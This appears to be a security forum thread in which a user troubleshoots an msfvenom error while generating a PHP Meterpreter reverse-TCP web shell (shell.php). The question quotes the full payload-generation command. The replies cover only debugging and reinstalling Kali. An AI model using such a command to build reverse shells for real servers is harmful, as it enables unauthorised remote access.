I have been trying to generate a payload using msfvenom:

msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT=1234 -f raw > shell.php

I keep getting this error:

"error: unloadable payload: php/meterpreter_reverse_tcp"
  • This looks like a program error. Have you tried Metasploit support forums? It shouldn't be loading a Windows payload when you asked for PHP
    – schroeder
    Sep 10, 2023 at 12:33
  • That was a mistake.
    – Onuorah
    Sep 10, 2023 at 12:57
  • Then please provide the whole output, and not just the parts you think are relevant. That way, we'll also know that there aren't other mistakes or messages...
    – schroeder
    Sep 10, 2023 at 13:08
  • When I googled the error, the suggested fix is to run with sudo - did you try that?
    – schroeder
    Sep 10, 2023 at 13:11

1 Answer 1


I finally fixed it. I had to uninstall and re-download my Kali Linux the official website.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .